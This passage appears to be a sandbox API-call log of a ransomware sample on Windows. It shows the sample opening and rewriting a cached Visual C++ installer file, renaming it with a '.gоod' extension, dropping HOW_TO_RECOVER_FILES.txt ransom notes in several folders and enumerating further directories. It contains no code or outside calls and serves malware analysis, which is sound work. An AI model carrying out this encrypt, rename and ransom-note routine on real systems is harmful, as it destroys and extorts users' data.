nFileSizeLow=0x23000)) returned 1 [0088.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0088.004] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0088.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.004] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.004] GetFileType (hFile=0x79c) returned 0x1 [0088.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.004] GetFileType (hFile=0x79c) returned 0x1 [0088.004] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0088.004] ReadFile (in: hFile=0x79c, lpBuffer=0x337e4a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x337e4a8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0088.006] CloseHandle (hObject=0x79c) returned 1 [0088.006] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0088.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.006] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.006] GetFileType (hFile=0x79c) returned 0x1 [0088.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.006] GetFileType (hFile=0x79c) returned 0x1 [0088.006] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x23000 [0088.007] WriteFile (in: hFile=0x79c, lpBuffer=0x337fa88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x337fa88*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0088.007] CloseHandle (hObject=0x79c) returned 1 [0088.007] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0088.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.007] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.007] GetFileType (hFile=0x79c) returned 0x1 [0088.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.007] GetFileType (hFile=0x79c) returned 0x1 [0088.007] ReadFile (in: hFile=0x79c, lpBuffer=0x3381df8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3381df8*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0088.126] CloseHandle (hObject=0x79c) returned 1 [0088.126] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0088.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.622] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.623] GetFileType (hFile=0x778) returned 0x1 [0088.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.623] GetFileType (hFile=0x778) returned 0x1 [0088.623] WriteFile (in: hFile=0x778, lpBuffer=0x322a2b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x322a2b0*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0088.623] CloseHandle (hObject=0x778) returned 1 [0088.623] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0088.623] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod", lpFilePart=0x0) returned 0x93 [0088.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0088.623] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010)) returned 1 [0088.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0088.623] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.gоod")) returned 1 [0088.624] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0088.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0088.624] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0088.627] GetFileType (hFile=0x778) returned 0x1 [0088.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0088.627] GetFileType (hFile=0x778) returned 0x1 [0088.628] WriteFile (in: hFile=0x778, lpBuffer=0x32e59a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x32e59a8*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0088.629] CloseHandle (hObject=0x778) returned 1 [0088.629] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0088.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0088.629] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0088.630] GetFileType (hFile=0x778) returned 0x1 [0088.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0088.630] GetFileType (hFile=0x778) returned 0x1 [0088.630] WriteFile (in: hFile=0x778, lpBuffer=0x32e9300*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x32e9300*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0088.631] CloseHandle (hObject=0x778) returned 1 [0088.631] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0088.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0088.631] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0088.632] GetFileType (hFile=0x778) returned 0x1 [0088.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0088.632] GetFileType (hFile=0x778) returned 0x1 [0088.632] WriteFile (in: hFile=0x778, lpBuffer=0x32ecbe8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32ecbe8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0088.633] CloseHandle (hObject=0x778) returned 1 [0088.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0088.634] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x4e [0088.634] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.634] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.634] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0088.634] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0088.634] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0088.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0088.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0088.635] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x4e [0088.635] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.635] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.635] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0088.635] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.635] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0088.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0088.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0088.636] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0088.636] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.636] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.636] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0088.636] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0088.637] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0088.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0088.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0088.637] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0088.637] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.637] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.637] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0088.637] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.637] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0088.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0088.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0088.638] 